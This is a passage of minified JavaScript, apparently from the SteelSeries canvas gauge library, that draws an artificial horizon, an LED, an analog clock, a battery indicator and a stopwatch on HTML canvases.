losePath(),n.fill(),i=5,r=Math.PI/36,n.translate(l,c),n.rotate(-Math.PI/2),n.translate(-l,-c),t=-90;t<=90;t+=i)t%45==0||t===0?(n.strokeStyle=nt.medium.getRgbaColor(),n.lineWidth=2,n.beginPath(),n.moveTo(u*.5,f*.088785),n.lineTo(u*.5,f*.113),n.closePath(),n.stroke()):t%15==0?(n.strokeStyle=\"#FFFFFF\",n.lineWidth=1,n.beginPath(),n.moveTo(u*.5,f*.088785),n.lineTo(u*.5,f*.103785),n.closePath(),n.stroke()):(n.strokeStyle=\"#FFFFFF\",n.lineWidth=.5,n.beginPath(),n.moveTo(u*.5,f*.088785),n.lineTo(u*.5,f*.093785),n.closePath(),n.stroke()),n.translate(l,c),n.rotate(r,l,c),n.translate(-l,-c);n.restore()},at=function(n){n.save();var i=u*.037383,t=f*.056074;n.beginPath(),n.moveTo(i*.5,0),n.lineTo(0,t),n.lineTo(i,t),n.closePath(),n.fillStyle=nt.light.getRgbaColor(),n.fill(),n.strokeStyle=nt.medium.getRgbaColor(),n.stroke(),n.restore()},it=function(){ct=!0,vt&&v(ht,lt,l,c,u,f),pt(ft),at(ut),wt(tt),yt&&y(tt,st,u,f,!0,fi,oi,ai)},rt=function(){k.width=o,k.height=o,ht=k.getContext(\"2d\"),p.width=o,p.height=o*Math.PI,ft=p.getContext(\"2d\"),a.width=o*.037383,a.height=o*.056074,ut=a.getContext(\"2d\"),d.width=o,d.height=o,tt=d.getContext(\"2d\")};return this.setRoll=function(n){n=n%360,h!==n&&(h=n,this.repaint())},this.getRoll=function(){return h},this.setRollAnimated=function(n){n=n%360;if(h!==n){var t=this;undefined!==w&&w.playing&&w.stop(),w=new Tween({},\"\",Tween.regularEaseInOut,h,n,1),w.onMotionChanged=function(n){h=n.target._pos,t.repaint()},w.start()}},this.setPitch=function(n){n=(n+180-et)%360-180,s!==n&&(s=n,s>90?(s=180-s,g||this.setRoll(h-180),g=!0):s<-90?(s=-180-s,g||this.setRoll(h+180),g=!0):g=!1,this.repaint())},this.getPitch=function(){return s},this.setPitchAnimated=function(n){if(s!==n){undefined!==b&&b.playing&&b.stop();var t=this;b=new Tween({},\"\",Tween.regularEaseInOut,s,n,1),b.onMotionChanged=function(n){t.setPitch(n.target._pos)},b.start()}},this.setPitchOffset=function(n){et=n,this.repaint()},this.setFrameDesign=function(n){rt(),lt=n,it(),this.repaint()},this.setForegroundType=function(n){rt(),st=n,it(),this.repaint()},this.repaint=function(){ct||it(),e.save(),e.clearRect(0,0,e.canvas.width,e.canvas.height),e.drawImage(k,0,0),e.save(),e.beginPath(),e.arc(l,c,u*.831775/2,0,Math.PI*2,!0),e.closePath(),e.clip(),e.translate(l,c),e.rotate(-(h*Math.PI/180)),e.translate(-l,0),e.translate(0,s*ot),e.drawImage(p,0,-p.height/2),e.translate(0,-(s*ot)-c),e.drawImage(a,u*.5-a.width/2,u*.107476),e.restore(),e.drawImage(d,0,0),e.restore()},this.repaint(),this},nu=function(n,t){var a,e,h,f,c;t=t||{};var u=undefined===t.size?32:t.size,y=undefined===t.ledColor?steelseries.LedColor.RED_LED:t.ledColor,v=!1,p=0,i=r.getElementById(n).getContext(\"2d\");i.save(),i.clearRect(0,0,i.canvas.width,i.canvas.height),i.canvas.width=u,i.canvas.height=u,a=!1,e=r.createElement(\"canvas\"),e.width=u,e.height=u,h=e.getContext(\"2d\"),f=r.createElement(\"canvas\"),f.width=u,f.height=u;var l=f.getContext(\"2d\"),s=f,w=function(){a=!0,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o(u,1,y),0,0),l.clearRect(0,0,l.canvas.width,l.canvas.height),l.drawImage(o(u,0,y),0,0)};return this.toggleLed=function(){s=s===e?f:e,c()},this.setLedColor=function(n){y=n,a=!1,c()},this.setLedOnOff=function(n){s=!0===n?e:f,c()},this.blink=function(n){n?v||(p=setInterval(this.toggleLed,1e3),v=!0):v&&(clearInterval(p),v=!1)},c=function(){a||w(),i.save(),i.clearRect(0,0,i.canvas.width,i.canvas.height),i.drawImage(s,0,0),i.restore()},c(),this},tu=function(n,i){i=i||{};var f=undefined===i.size?200:i.size,di=undefined===i.frameDesign?steelseries.FrameDesign.METAL:i.frameDesign,ki=undefined===i.frameVisible?!0:i.frameVisible,p=undefined===i.pointerType?steelseries.PointerType.TYPE1:i.pointerType,b=undefined===i.pointerColor?p===steelseries.PointerType.TYPE1?steelseries.ColorDef.GRAY:steelseries.ColorDef.BLACK:i.pointerColor,ut=undefined===i.backgroundColor?p===steelseries.PointerType.TYPE1?steelseries.BackgroundColor.ANTHRACITE:steelseries.BackgroundColor.LIGHT_GRAY:i.backgroundColor,yi=undefined===i.backgroundVisible?!0:i.backgroundVisible,bi=undefined===i.foregroundType?steelseries.ForegroundType.TYPE1:i.foregroundType,si=undefined===i.foregroundVisible?!0:i.foregroundVisible,or=undefined===i.customLayer?null:i.customLayer,nt=undefined===i.isAutomatic?!0:i.isAutomatic,l=undefined===i.hour?11:i.hour,a=undefined===i.minute?5:i.minute,d=undefined===i.second?0:i.second,kt=undefined===i.secondMovesContinuous?!1:i.secondMovesContinuous,dt=undefined===i.timeZoneOffsetHour?0:i.timeZoneOffsetHour,wt=undefined===i.timeZoneOffsetMinute?0:i.timeZoneOffsetMinute,bt=undefined===i.secondPointerVisible?!0:i.secondPointerVisible,k=new Date,ui,ri,ii,nr,it=kt?100:1e3;it=bt?it:100;var sr=this,hr=Math.PI/2,gt=Math.PI*2,tt=Math.PI/180,fi=6,o=r.getElementById(n).getContext(\"2d\");o.save(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.canvas.width=f,o.canvas.height=f;var u=f,e=f,s=u/2,h=e/2,pi=!1,st=t(f,f),wi=st.getContext(\"2d\"),et=t(f,f),ti=et.getContext(\"2d\"),ot=t(f,f),gi=ot.getContext(\"2d\"),pt=t(f,f),tr=pt.getContext(\"2d\"),vt=t(f,f),rr=vt.getContext(\"2d\"),lt=t(f,f),ir=lt.getContext(\"2d\"),ht=t(f,f),hi=ht.getContext(\"2d\"),yt=t(f,f),ai=yt.getContext(\"2d\"),g=t(f,f),c=g.getContext(\"2d\"),at=t(f,f),oi=at.getContext(\"2d\"),fr=function(n,t){var i,e,o,r,f;r=u*.405,n.save(),n.translate(s,h);switch(t.type){case\"type1\":for(e=u*.074766,f=r-e,n.strokeStyle=ut.labelColor.getRgbaColor(),n.lineWidth=u*.014018,i=0;i<360;i+=30)n.beginPath(),n.moveTo(r,0),n.lineTo(f,0),n.closePath(),n.stroke(),n.rotate(30*tt);for(o=u*.126168,f=r-o,n.lineWidth=u*.03271,i=0;i<360;i+=90)n.beginPath(),n.moveTo(r,0),n.lineTo(f,0),n.closePath(),n.stroke(),n.rotate(90*tt);break;case\"type2\":default:for(e=u*.037383,f=r-e,n.strokeStyle=ut.labelColor.getRgbaColor(),n.lineWidth=u*.009345,i=0;i<360;i+=6)n.beginPath(),n.moveTo(r,0),n.lineTo(f,0),n.closePath(),n.stroke(),n.rotate(6*tt);for(o=u*.084112,f=r-o,n.lineWidth=u*.028037,i=0;i<360;i+=30)n.beginPath(),n.moveTo(r,0),n.lineTo(f,0),n.closePath(),n.stroke(),n.rotate(30*tt)}n.translate(-s,-h),n.restore()},vi=function(n,t,i){n.save();var r;i&&(n.fillStyle=\"rgba(0, 0, 0, 0.5)\",n.strokeStyle=\"rgba(0, 0, 0, 0.5)\");switch(t.type){case\"type2\":n.beginPath(),n.lineWidth=u*.046728,n.moveTo(s,u*.289719),n.lineTo(s,u*.289719+u*.224299),i||(n.strokeStyle=b.medium.getRgbaColor()),n.closePath(),n.stroke();break;case\"type1\":default:n.beginPath(),n.moveTo(u*.471962,e*.560747),n.lineTo(u*.471962,e*.214953),n.lineTo(u*.5,e*.182242),n.lineTo(u*.528037,e*.214953),n.lineTo(u*.528037,e*.560747),n.lineTo(u*.471962,e*.560747),n.closePath(),i||(r=n.createLinearGradient(u*.471962,e*.560747,u*.528037,e*.214953),r.addColorStop(1,b.veryLight.getRgbaColor()),r.addColorStop(0,b.light.getRgbaColor()),n.fillStyle=r,n.strokeStyle=b.light.getRgbaColor()),n.fill(),n.stroke()}i&&blur(n,u,e,Math.floor(u*.006)),n.restore()},li=function(n,t,i){n.save();var r;i&&(n.fillStyle=\"rgba(0, 0, 0, 0.4)\",n.strokeStyle=\"rgba(0, 0, 0, 0.4)\");switch(t.type){case\"type2\":n.beginPath(),n.lineWidth=u*.03271,n.moveTo(s,u*.116822),n.lineTo(s,u*.116822+u*.38785),i||(n.strokeStyle=b.medium.getRgbaColor()),n.closePath(),n.stroke();break;case\"type1\":default:n.beginPath(),n.moveTo(u*.518691,e*.574766),n.lineTo(u*.523364,e*.135514),n.lineTo(u*.5,e*.107476),n.lineTo(u*.476635,e*.140186),n.lineTo(u*.476635,e*.574766),n.lineTo(u*.518691,e*.574766),n.closePath(),i||(r=n.createLinearGradient(u*.518691,e*.574766,u*.476635,e*.140186),r.addColorStop(1,b.veryLight.getRgbaColor()),r.addColorStop(0,b.light.getRgbaColor()),n.fillStyle=r,n.strokeStyle=b.light.getRgbaColor()),n.fill(),n.stroke()}i&&blur(n,u,e,Math.floor(u*.006)),n.restore()},ci=function(n,t,i){n.save();var r;i?(n.fillStyle=\"rgba(0, 0, 0, 0.5)\",n.strokeStyle=\"rgba(0, 0, 0, 0.5)\"):(n.fillStyle=steelseries.ColorDef.RED.medium.getRgbaColor(),n.strokeStyle=steelseries.ColorDef.RED.medium.getRgbaColor());switch(t.type){case\"type2\":n.lineWidth=u*.009345,n.beginPath(),n.moveTo(s,u*.09813),n.lineTo(s,u*.09813+u*.126168),n.closePath(),n.stroke(),n.lineWidth=u*.018691,n.beginPath(),n.moveTo(s,u*.308411),n.lineTo(s,u*.308411+u*.191588),n.closePath(),n.stroke(),n.lineWidth=u*.016,n.beginPath(),n.arc(s,u*.26,u*.085/2,0,gt),n.closePath(),n.stroke();break;case\"type1\":default:n.beginPath(),n.moveTo(u*.509345,e*.116822),n.lineTo(u*.509345,e*.574766),n.lineTo(u*.490654,e*.574766),n.lineTo(u*.490654,e*.116822),n.lineTo(u*.509345,e*.116822),n.closePath(),i||(r=n.createLinearGradient(u*.509345,e*.116822,u*.490654,e*.574766),r.addColorStop(0,steelseries.ColorDef.RED.light.getRgbaColor()),r.addColorStop(.47,steelseries.ColorDef.RED.medium.getRgbaColor()),r.addColorStop(1,steelseries.ColorDef.RED.dark.getRgbaColor()),n.fillStyle=r,n.strokeStyle=steelseries.ColorDef.RED.dark.getRgbaColor()),n.fill(),n.stroke()}i&&blur(n,u,e,Math.floor(u*.006)),n.restore()},er=function(n){var i=u*.006,t;n.beginPath(),n.arc(s,h,u*.045,0,gt),n.closePath(),t=n.createLinearGradient(s-u*.045/2,h-u*.045/2,s+u*.045/2,h+u*.045/2),t.addColorStop(0,\"#eef0f2\"),t.addColorStop(1,\"#65696d\"),n.fillStyle=t,n.fill()},ur=function(n,t){var r=u*.006,i;n.save();switch(t.type){case\"type2\":n.fillStyle=\"#000000\",n.beginPath(),n.arc(s,h,u*.088785/2,0,gt),n.closePath(),n.fill();break;case\"type1\":default:i=n.createLinearGradient(s-u*.027/2,h-u*.027/2,s+u*.027/2,h+u*.027/2),i.addColorStop(0,\"#f3f4f7\"),i.addColorStop(.11,\"#f3f5f7\"),i.addColorStop(.12,\"#f1f3f5\"),i.addColorStop(.2,\"#c0c5cb\"),i.addColorStop(.2,\"#bec3c9\"),i.addColorStop(1,\"#bec3c9\"),n.fillStyle=i,n.beginPath(),n.arc(s,h,u*.027,0,gt),n.closePath(),n.fill()}n.restore()},ni=function(n,t,i){ii=i*fi*tt,ui=t*fi*tt,ri=(n+t/60)*fi*5*tt},ei=function(){nt?k=new Date:(k.setHours(l),k.setMinutes(a),k.setSeconds(d)),d=k.getSeconds()+(kt?k.getMilliseconds()/1e3:0),l=dt!==0&&wt!==0?k.getUTCHours()+dt:k.getHours(),l=l%12,a=dt!==0&&wt!==0?k.getUTCMinutes()+wt:k.getMinutes(),a>60&&(a-=60,l++),a<0&&(a+=60,l--),l=l%12,ni(l,a,d),nt&&(nr=setTimeout(ei,it)),sr.repaint()},ft=function(n){n=n||{};var r=undefined===n.frame?!1:n.frame,f=undefined===n.background?!1:n.background,t=undefined===n.pointers?!1:n.pointers,i=undefined===n.foreground?!1:n.foreground;pi=!0,r&&ki&&v(wi,di,s,h,u,e),f&&yi&&(w(ti,ut,s,h,u,e),rt(ti,or,s,h,u,e),fr(ti,p)),t&&(vi(gi,p,!1),vi(tr,p,!0),li(rr,p,!1),li(ir,p,!0),ci(hi,p,!1),ci(ai,p,!0)),i&&si&&(ur(oi,p),y(oi,bi,u,e,!1))},ct=function(n){n=n||{};var r=undefined===n.frame?!1:n.frame,u=undefined===n.background?!1:n.background,t=undefined===n.pointers?!1:n.pointers,i=undefined===n.foreground?!1:n.foreground;r&&(st.width=f,st.height=f,wi=st.getContext(\"2d\")),u&&(et.width=f,et.height=f,ti=et.getContext(\"2d\")),t&&(ot.width=f,ot.height=f,gi=ot.getContext(\"2d\"),pt.width=f,pt.height=f,tr=pt.getContext(\"2d\"),vt.width=f,vt.height=f,rr=vt.getContext(\"2d\"),lt.width=f,lt.height=f,ir=lt.getContext(\"2d\"),ht.width=f,ht.height=f,hi=ht.getContext(\"2d\"),yt.width=f,yt.height=f,ai=yt.getContext(\"2d\"),g.width=f,g.height=f,c=g.getContext(\"2d\")),i&&(at.width=f,at.height=f,oi=at.getContext(\"2d\"))};return this.getAutomatic=function(){return nt},this.setAutomatic=function(n){nt&&!n?(clearTimer(nr),nt=n):!nt&&n&&(nt=n,ei())},this.getHour=function(){return l},this.setHour=function(n){n=n%12,l!==n&&(l=n,ni(l,a,d),this.repaint())},this.getMinute=function(){return a},this.setMinute=function(n){n=n%60,a!==n&&(a=n,ni(l,a,d),this.repaint())},this.getSecond=function(){return d},this.setSecond=function(n){d=n%60,d!==n&&(d=n,ni(l,a,d),this.repaint())},this.getTimeZoneOffsetHour=function(){return dt},this.setTimeZoneOffsetHour=function(n){dt=n,this.repaint()},this.getTimeZoneOffsetMinute=function(){return wt},this.setTimeZoneOffsetMinute=function(n){wt=n,this.repaint()},this.getSecondPointerVisible=function(){return bt},this.setSecondPointerVisible=function(n){bt=n,this.repaint()},this.getSecondMovesContinuous=function(){return kt},this.setSecondMovesContinuous=function(n){kt=n,it=kt?100:1e3,it=bt?it:100},this.setFrameDesign=function(n){ct({frame:!0}),di=n,ft({frame:!0}),this.repaint()},this.setBackgroundColor=function(n){ct({frame:!0,background:!0}),ut=n,ft({frame:!0,background:!0}),this.repaint()},this.setForegroundType=function(n){ct({foreground:!0}),bi=n,ft({foreground:!0}),this.repaint()},this.setPointerType=function(n){ct({foreground:!0,pointers:!0}),p=n,p.type===\"type1\"?(b=steelseries.ColorDef.GRAY,ut=steelseries.BackgroundColor.ANTHRACITE):(b=steelseries.ColorDef.BLACK,ut=steelseries.BackgroundColor.LIGHT_GRAY),ft({background:!0,foreground:!0,pointers:!0}),this.repaint()},this.setPointerColor=function(n){ct({pointers:!0}),b=n,ft({pointers:!0}),this.repaint()},this.repaint=function(){pi||ft({frame:!0,background:!0,pointers:!0,foreground:!0}),o.clearRect(0,0,o.canvas.width,o.canvas.height),ki&&o.drawImage(st,0,0),yi&&o.drawImage(et,0,0);var n=u*.006;c.clearRect(0,0,u,e),c.save(),c.translate(s,h),c.rotate(ri),c.translate(-s,-h),c.drawImage(pt,0,0),c.restore(),o.drawImage(g,0,0,u,e,n,n,u+n,e+n),o.save(),o.translate(s,h),o.rotate(ri),o.translate(-s,-h),o.drawImage(ot,0,0),o.restore(),c.clearRect(0,0,u,e),c.save(),c.translate(s,h),c.rotate(ui),c.translate(-s,-h),c.drawImage(lt,0,0),c.restore(),o.drawImage(g,0,0,u,e,n,n,u+n,e+n),o.save(),o.translate(s,h),o.rotate(ui),o.translate(-s,-h),o.drawImage(vt,0,0),o.restore(),p.type===\"type1\"&&er(o),bt&&(c.clearRect(0,0,u,e),c.save(),c.translate(s,h),c.rotate(ii),c.translate(-s,-h),c.drawImage(yt,0,0),c.restore(),o.drawImage(g,0,0,u,e,n,n,u+n,e+n),o.save(),o.translate(s,h),o.rotate(ii),o.translate(-s,-h),o.drawImage(ht,0,0),o.restore()),si&&o.drawImage(at,0,0)},ei(),this},hr=function(t,i){var s;i=i||{};var o=undefined===i.size?50:i.size,f=undefined===i.value?50:i.value,e=o,h=Math.ceil(o*.45),u=r.getElementById(t).getContext(\"2d\");return u.save(),u.clearRect(0,0,u.canvas.width,u.canvas.height),u.canvas.width=e,u.canvas.height=e,s=function(t,i,r,u){var f,e;t.beginPath(),t.moveTo(i*.025,r*.055555),t.lineTo(i*.9,r*.055555),t.lineTo(i*.9,r*.944444),t.lineTo(i*.025,r*.944444),t.lineTo(i*.025,r*.055555),t.closePath(),t.beginPath(),t.moveTo(i*.925,0),t.lineTo(0,0),t.lineTo(0,r),t.lineTo(i*.925,r),t.lineTo(i*.925,r*.722222),t.bezierCurveTo(i*.925,r*.722222,i*.975,r*.722222,i*.975,r*.722222),t.bezierCurveTo(i,r*.722222,i,r*.666666,i,r*.666666),t.bezierCurveTo(i,r*.666666,i,r*.333333,i,r*.333333),t.bezierCurveTo(i,r*.333333,i,r*.277777,i*.975,r*.277777),t.bezierCurveTo(i*.975,r*.277777,i*.925,r*.277777,i*.925,r*.277777),t.lineTo(i*.925,0),t.closePath(),f=t.createLinearGradient(0,0,0,r),f.addColorStop(0,\"#ffffff\"),f.addColorStop(1,\"#7e7e7e\"),t.fillStyle=f,t.fill(),t.beginPath(),e=Math.max(i*.875*(u/100),Math.ceil(i*.01)),t.rect(i*.025,i*.025,e,r*.888888),t.closePath();var a=[0,.4,1],l=[new n(177,25,2,1),new n(219,167,21,1),new n(121,162,75,1)],y=new kt(0,100,a,l);t.fillStyle=y.getColorAt(u/100).getRgbColor(),t.fill(),t.beginPath(),e=Math.max(e-i*.05,0),t.rect(i*.05,i*.05,e,r*.777777),t.closePath();var v=[new n(198,39,5,1),new n(228,189,32,1),new n(163,216,102,1)],h=[new n(246,121,48,1),new n(246,244,157,1),new n(223,233,86,1)],o=[0,.4,1],s=new kt(0,100,o,v),c=new kt(0,100,o,h);f=t.createLinearGradient(i*.05,0,i*.875,0),f.addColorStop(0,s.getColorAt(u/100).getRgbColor()),f.addColorStop(.5,c.getColorAt(u/100).getRgbColor()),f.addColorStop(1,s.getColorAt(u/100).getRgbColor()),t.fillStyle=f,t.fill(),t.beginPath(),t.rect(i*.025,i*.025,i*.875,r*.444444),t.closePath(),f=t.createLinearGradient(i*.025,i*.025,i*.875,r*.444444),f.addColorStop(0,\"rgba(255, 255, 255, 0)\"),f.addColorStop(1,\"rgba(255, 255, 255, 0.8)\"),t.fillStyle=f,t.fill()},this.setValue=function(n){n=n<0?0:n>100?100:n,f!==n&&(f=n,this.repaint())},this.getValue=function(){return f},this.repaint=function(){u.clearRect(0,0,u.canvas.width,u.canvas.height),s(u,e,h,f)},this.repaint(),this},cr=function(n,i){i=i||{};var f=undefined===i.size?200:i.size,li=undefined===i.frameDesign?steelseries.FrameDesign.METAL:i.frameDesign,oi=undefined===i.frameVisible?!0:i.frameVisible,h=undefined===i.pointerColor?steelseries.ColorDef.BLACK:i.pointerColor,lt=undefined===i.backgroundColor?steelseries.BackgroundColor.LIGHT_GRAY:i.backgroundColor,gt=undefined===i.backgroundVisible?!0:i.backgroundVisible,fi=undefined===i.foregroundType?steelseries.ForegroundType.TYPE1:i.foregroundType,vi=undefined===i.foregroundVisible?!0:i.foregroundVisible,gi=undefined===i.customLayer?null:i.customLayer,bt=0,at=0,kt,di=6,ct=Math.PI*2,pt=Math.PI/180,ki=this,yt=0,d=0,yi=0,pi=0,si=0,a=!1,k=!1,e=r.getElementById(n).getContext(\"2d\"),u=f,c=f,o=u/2,l=c/2,p=.285*u,bi=o-p/2,b=.17*u,ci=!1,ht=t(f,f),hi=ht.getContext(\"2d\"),nt=t(f,f),it=nt.getContext(\"2d\"),tt=t(f,f),wi=tt.getContext(\"2d\"),ut=t(f,f),ai=ut.getContext(\"2d\"),st=t(f,f),ni=st.getContext(\"2d\"),ft=t(f,f),ti=ft.getContext(\"2d\"),g=t(f,f),s=g.getContext(\"2d\"),et=t(f,f),ei=et.getContext(\"2d\"),ui=function(n,t,i,r,u,f,e){var vt,ut=r*t,rt=ut+\"px sans-serif\",ot=t*.15,at=.5,g=1,ht=1.5,tt=u*t,d=Math.round(.025*t),nt=Math.round(.035*t),it=Math.round(.045*t),st=lt.labelColor.getRgbaColor(),k=lt.labelColor.getRgbaColor(),s=t/2,o=t*.4,h,a,w,y=0,b=0,ct=0,v,c=0,l=0,p,et=-Math.PI,ft=2*Math.PI/i;for(n.width=n.height=t,n.save(),n.textAlign=\"center\",n.textBaseline=\"middle\",n.font=rt,p=et,v=0;v<=i+1;p-=ft*.1,v+=.1)n.lineWidth=at,c=Math.sin(p),l=Math.cos(p),y%2==0&&(h=[s+(o-d)*c+f,s+(o-d)*l+e],a=[s+o*c+f,s+o*l+e],n.strokeStyle=k,n.beginPath(),n.moveTo(h[0],h[1]),n.lineTo(a[0],a[1]),n.closePath(),n.stroke()),(y===10||y===0)&&(n.fillStyle=st,n.lineWidth=g,a=[s+o*c+f,s+o*l+e],w=[s+(o-tt)*c+f,s+(o-tt)*l+e],b===5?(v!==i&&Math.round(v)!==60&&n.fillText(Math.round(v),w[0],w[1],ot),n.lineWidth=ht,h=[s+(o-it)*c+f,s+(o-it)*l+e],b=0):(n.lineWidth=g,h=[s+(o-nt)*c+f,s+(o-nt)*l+e]),n.strokeStyle=k,n.beginPath(),n.moveTo(h[0],h[1]),n.lineTo(a[0],a[1]),n.closePath(),n.stroke(),y=0,ct++,b++),y++;n.restore()},ii=function(n,t){var i,r;n.save(),n.beginPath(),n.moveTo(u*.509345,u*.457943),n.lineTo(u*.5,u*.102803),n.lineTo(u*.490654,u*.457943),n.bezierCurveTo(u*.490654,u*.457943,u*.490654,u*.457943,u*.490654,u*.457943),n.bezierCurveTo(u*.471962,u*.462616,u*.457943,u*.481308,u*.457943,u*.5),n.bezierCurveTo(u*.457943,u*.518691,u*.471962,u*.537383,u*.490654,u*.542056),n.bezierCurveTo(u*.490654,u*.542056,u*.490654,u*.542056,u*.490654,u*.542056),n.lineTo(u*.490654,u*.621495),n.lineTo(u*.509345,u*.621495),n.lineTo(u*.509345,u*.542056),n.bezierCurveTo(u*.509345,u*.542056,u*.509345,u*.542056,u*.509345,u*.542056),n.bezierCurveTo(u*.528037,u*.537383,u*.542056,u*.518691,u*.542056,u*.5),n.bezierCurveTo(u*.542056,u*.481308,u*.528037,u*.462616,u*.509345,u*.457943),n.bezierCurveTo(u*.509345,u*.457943,u*.509345,u*.457943,u*.509345,u*.457943),n.closePath(),t?(n.fillStyle=\"rgba(0, 0, 0, 0.5)\",n.strokeStyle=\"rgba(0, 0, 0, 0.5)\",n.fill()):(i=n.createLinearGradient(0,0,0,u*.621495),i.addColorStop(0,h.medium.getRgbaColor()),i.addColorStop(.388888,h.medium.getRgbaColor()),i.addColorStop(.5,h.light.getRgbaColor()),i.addColorStop(.611111,h.medium.getRgbaColor()),i.addColorStop(1,h.medium.getRgbaColor()),n.fillStyle=i,n.strokeStyle=h.dark.getRgbaColor(),n.fill(),n.stroke()),t?blur(n,u,c,Math.floor(u*.006)):(n.beginPath(),r=u*.06542/2,n.arc(o,l,r,0,ct),i=n.createLinearGradient(o-r,o+r,0,o+r),i.addColorStop(0,\"#e6b35c\"),i.addColorStop(.01,\"#e6b35c\"),i.addColorStop(.99,\"#c48200\"),i.addColorStop(1,\"#c48200\"),n.fillStyle=i,n.closePath(),n.fill(),n.beginPath(),r=u*.046728/2,n.arc(o,l,r,0,ct),i=n.createRadialGradient(o,o,0,o,o,r),i.addColorStop(0,\"#c5c5c5\"),i.addColorStop(.19,\"#c5c5c5\"),i.addColorStop(.22,\"#000000\"),i.addColorStop(.8,\"#000000\"),i.addColorStop(.99,\"#707070\"),i.addColorStop(1,\"#707070\"),n.fillStyle=i,n.closePath(),n.fill()),n.restore()},ri=function(n,t){var i,r;n.save(),n.beginPath(),n.moveTo(u*.476635,u*.313084),n.bezierCurveTo(u*.476635,u*.322429,u*.485981,u*.331775,u*.495327,u*.336448),n.bezierCurveTo(u*.495327,u*.336448,u*.495327,u*.350467,u*.495327,u*.350467),n.lineTo(u*.504672,u*.350467),n.bezierCurveTo(u*.504672,u*.350467,u*.504672,u*.336448,u*.504672,u*.336448),n.bezierCurveTo(u*.514018,u*.331775,u*.523364,u*.322429,u*.523364,u*.313084),n.bezierCurveTo(u*.523364,u*.303738,u*.514018,u*.294392,u*.504672,u*.289719),n.bezierCurveTo(u*.504672,u*.289719,u*.5,u*.200934,u*.5,u*.200934),n.bezierCurveTo(u*.5,u*.200934,u*.495327,u*.289719,u*.495327,u*.289719),n.bezierCurveTo(u*.485981,u*.294392,u*.476635,u*.303738,u*.476635,u*.313084),n.closePath(),t?(n.fillStyle=\"rgba(0, 0, 0, 0.5)\",n.strokeStyle=\"rgba(0, 0, 0, 0.5)\",n.fill()):(i=n.createLinearGradient(0,0,u,0),i.addColorStop(0,h.medium.getRgbaColor()),i.addColorStop(.388888,h.medium.getRgbaColor()),i.addColorStop(.5,h.light.getRgbaColor()),i.addColorStop(.611111,h.medium.getRgbaColor()),i.addColorStop(1,h.medium.getRgbaColor()),n.fillStyle=i,n.strokeStyle=h.dark.getRgbaColor(),n.fill(),n.stroke()),t?blur(n,u,c,Math.floor(u*.006)):(n.beginPath(),r=u*.037383/2,n.arc(o,b+p/2,r,0,ct),n.fillStyle=\"#C48200\",n.closePath(),n.fill(),n.beginPath(),r=u*.028037/2,n.arc(o,b+p/2,r,0,ct),n.fillStyle=\"#999999\",n.closePath(),n.fill(),n.beginPath(),r=u*.018691/2,n.arc(o,b+p/2,r,0,ct),n.fillStyle=\"#000000\",n.closePath(),n.fill()),n.restore()},wt=function(){d=+new Date-yt,at=d*di/1e3,bt=at%10800/30,yi=d/6e4%30,pi=d/1e3%60,si=d%1e3},ot=function(n){n=n||{};var r=undefined===n.frame?!1:n.frame,f=undefined===n.background?!1:n.background,t=undefined===n.pointers?!1:n.pointers,i=undefined===n.foreground?!1:n.foreground;ci=!0,r&&oi&&v(hi,li,o,l,u,c),f&&gt&&(w(it,lt,o,l,u,c),rt(it,gi,o,l,u,c),ui(it,u,60,.075,.1,0,0),ui(it,p,30,.095,.13,bi,b)),t&&(ii(ni,!1),ii(ti,!0),ri(wi,!1),ri(ai,!0)),i&&vi&&y(ei,fi,u,c,!1)},vt=function(n){n=n||{};var r=undefined===n.frame?!1:n.frame,u=undefined===n.background?!1:n.background,t=undefined===n.pointers?!1:n.pointers,i=undefined===n.foreground?!1:n.foreground;r&&(ht.width=f,ht.height=f,hi=ht.getContext(\"2d\")),u&&(nt.width=f,nt.height=f,it=nt.getContext(\"2d\")),t&&(tt.width=f,tt.height=f,wi=tt.getContext(\"2d\"),ut.width=f,ut.height=f,ai=ut.getContext(\"2d\"),st.width=f,st.height=f,ni=st.getContext(\"2d\"),ft.width=f,ft.height=f,ti=ft.getContext(\"2d\"),g.width=f,g.height=f,s=g.getContext(\"2d\")),i&&(et.width=f,et.height=f,ei=et.getContext(\"2d\"))},dt=function(){k||(wt(),ki.repaint()),a&&(kt=setTimeout(dt,200))};return this.isRunning=function(){return a},this.start=function(){a||(a=!0,yt=+new Date-d,dt())},this.stop=function(){a&&(a=!1,clearTimeout(kt)),k&&(k=!1,wt(),this.repaint())},this.reset=function(){a&&(a=!1,k=!1,clearTimeout(kt)),yt=+new Date,wt(),this.repaint()},this.lap=function(){a&&!k?k=!0:k&&(k=!1)},this.getMeasuredTime=function(){return yi+\":\"+pi+\":\"+si},this.setFrameDesign=function(n){vt({frame:!0}),li=n,ot({frame:!0}),this.repaint()},this.setBackgroundColor=function(n){vt({background:!0}),lt=n,ot({background:!0}),this.repaint()},this.setForegroundType=function(n){vt({foreground:!0}),fi=n,ot({foreground:!0}),this.repaint()},this.setPointerColor=function(n){vt({pointers:!0}),h=n,ot({pointers:!0}),this.repaint()},this.repaint=function(){ci||ot({frame:!0,background:!0,pointers:!0,foreground:!0}),e.clearRect(0,0,e.canvas.width,e.canvas.height),oi&&e.drawImage(ht,0,0),gt&&e.drawImage(nt,0,0);var n=u*.006,t=(bt+2*Math.sin(bt*pt))*pt;s.clearRect(0,0,u,c),s.save(),s.translate(o,b+p/2),s.rotate(t),s.translate(-o,-(b+p/2)),s.drawImage(ut,0,0),s.restore(),e.drawImage(g,0,0,u,c,n/2,n/2,u+n/2,c+n/2),e.save(),e.translate(o,b+p/2),e.rotate(t),e.translate(-o,-(b+p/2)),e.drawImage(tt,0,0),e.restore(),t=(at+2*Math.sin(at*pt))*pt,s.clearRect(0,0,u,c),s.save(),s.translate(o,l),s.rotate(t),s.translate(-o,-l),s.drawImage(ft,0,0),s.restore(),e.drawImage(g,0,0,u,c,n,n,u+n,c+n),e.save(),e.translate(o,l),e.rotate(t),e.translate(-o,-l),e.drawImage(st,0,0),e.restore(),vi&&e.drawImage(et,0,0)},e.save(),e.clearRect(0,0,e.canvas.width,e.canvas.height),e.canvas.width=f,e.canvas.height=f,yt=+new Date,dt(),this},sr=function(n,i){function gi(){nt=2*Math.PI/(li-a),ht=nt/10,pt=ht/10}function nr(){yt=l%1e3/100,kt=l%1e4/100,wt=l%1e5/100}var 